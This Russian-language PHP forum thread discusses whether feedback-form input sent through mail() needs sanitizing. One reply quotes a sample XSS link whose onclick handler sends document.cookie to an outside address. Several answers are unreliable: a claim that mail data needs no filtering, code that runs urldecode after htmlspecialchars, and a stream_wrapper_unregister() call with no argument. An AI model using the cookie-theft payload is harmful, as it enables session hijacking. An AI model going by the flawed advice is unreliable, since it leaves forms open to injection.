Нужно ли как-то обрабатывать данные в форме обратной связи?

[verfaa]

Здравствуйте!
Просматривал код формы обратной связи на своём сайте и задался вопросом, а нужно ли обрабатывать данные пришедшие от пользователя, если они не пишутся в БД?

Вот например есть форма обратной связи, юзер пишет в неё свои данные, а ajax-обработчик их принимает и отправляет их через функцию mail() на мой GMail
Код выглядит так:

if( isset($_POST['message']) ) {
 
    $mailMessage = $_POST['message'];
 
 
 
    if( isset($_POST['subject']) ) {
 
    $subject = $_POST['subject'];
 
    $mailSubject = $mailSubjectHead.$subject;
 
    }
 
 
 
    $header="From: ".$fromAddress."\nReply-To: ".$fromAddress."\nContent-Type: text/html; charset=utf-8"."\n";
 
 
 
    if( mail ($toAddress, $mailSubject, $mailMessage, $header) )
 
        echo 1 ;
 
    else
 
        echo 0 ;
 
}

Нужно ли пользовательские данные обрабатывать в случае отправки их через ф-ю mail()? И если да, то каким образом это сделать лучше всего?
Безопасен ли мой код обратной связи или в нем есть какие-то уязвимости?

Попробовал для своего спокойствия обрабатывать $_POST['subject'] функцией mysql_real_escape_string - в результате такой обработки сообщение вообще приходит пустым (письмо приходит, но без сообщения). А если её убрать, то сообщение доходит нормально. Почему так?

 

[SocMaster]

Ну наверное потому что БД не используется, зачем использовать mysql_real_escape_string ?
Есть же спец функции для проверки данных помню intval

 

[ВладимирТрой]

пользовательские данные нужно обрабатывать всегда, для строк смотри в сторону addslashes и htmlentities

 

[unkn0wn]

Надо обязательно почистить от html-тэгов тему и сообщение через Для просмотра ссылки Войди или Зарегистрируйся и Для просмотра ссылки Войди или Зарегистрируйся, иначе можно получить xss в свой личный ящик. Больше ничего делать с мессаджами не надо.

 

[recasher2k12]

Выдрал из боевого скрипта.
Также, я использую прямую вставку значений из $_POST в mysql, поэтому защитился и от xss via mysql.
Переменная $db - это хэндлер соединения полученного в результате работы функции mysql_connect().
Далее также обращаешься к $_POST как и до вставки предложенных ниже строчек кода.

        /* [!] Stop XSS */
        foreach ($_POST as $i => $val)
            $_POST[$i] = mysql_real_escape_string(htmlspecialchars($val), $db);

Для работы без БД хватило бы такого. Ни одна xss не пройдет!:

        /* [!] Stop XSS */
        foreach ($_POST as $i => $val)
            $_POST[$i] = htmlspecialchars($val);

 

[unkn0wn]

Ну еще бывают Для просмотра ссылки Войди или Зарегистрируйся и Для просмотра ссылки Войди или Зарегистрируйся, так что нелишним будет Для просмотра ссылки Войди или Зарегистрируйся и перед Htmlspecialchars делать Для просмотра ссылки Войди или Зарегистрируйся, потому как urldecode автоматически накладывается лишь на $_GET и $_REQUEST-запросы, $_POST надо обрабатывать самостоятельно.

 

[unknown34]

mysql_real_escape_string очевидно из названия используется для работы с сервером mysql. для других целей - другие ф-ции. в вашем случае вполне подойдет htmlspecialchars

 

[one_man]

ИМХО, фильтровать цифровые данные из формы вообще смысла нет через функции достаточно умножить на один и всё. Например: $_POST["val"] = 123.5; $a = $_POST["val"]*1. И теперь переменную $a можно отравлять хоть в бд хоть на почту. А вообще отправляемые по почте данные не обязательно фильтровать по одной простой причине. Они в любом случае сохраняются в базу данных сервера почтовика, а там, естественно, стоит собственная фильтрация. Так что, любая обработка данных с целью защиты будет лишь дополнительной нагрузкой на собственный хостинг из-за применения лишних функций.

 

[unkn0wn]

ИМХО, фильтровать цифровые данные из формы вообще смысла нет через функции достаточно умножить на один и всё. Например: $_POST["val"] = 123.5; $a = $_POST["val"]*1. И теперь переменную $a можно отравлять хоть в бд хоть на почту. А вообще отправляемые по почте данные не обязательно фильтровать по одной простой причине. Они в любом случае сохраняются в базу данных сервера почтовика, а там, естественно, стоит собственная фильтрация. Так что, любая обработка данных с целью защиты будет лишь дополнительной нагрузкой на собственный хостинг из-за применения лишних функций.

В каком месте в первом посте вы увидели цифровые данные и сохранение в БД? И для чего тогда придумана функция mysql_real_escape_string, если у MySQL есть собственная фильтрация? Оно, конечно, есть в PDO, но это опять же фильтрация на уровне языка, а не БД. Да и очистка умножением - у PHP есть Для просмотра ссылки Войди или Зарегистрируйся через (int)$var. А очищать данные надо всегда, если вы не хотите получить по почте ссылочку вида <a href="Для просмотра ссылки Войди или Зарегистрируйся" onclick="javascript:window.open("Для просмотра ссылки Войди или Зарегистрируйся"+document.cookie)"

 

[verfaa]

В итоге поставил на сайт такую фильтрацию:
В самом начале файла common.php (он подключается абсолютно ко всем страницам сайта) ф-ю stream_wrapper_unregister

stream_wrapper_unregister();

В скриптах, где юзеры отсылают письма ко мне на ящик или на другие email фильтрую так:

        /* [!] Stop XSS */
        foreach ($_POST as $i => $val)
            $_POST[$i] = urldecode(htmlspecialchars($val));

И кстати, какую функцию все же использовать htmlspecialchars или htmlentities ? На сайте кодировка utf-8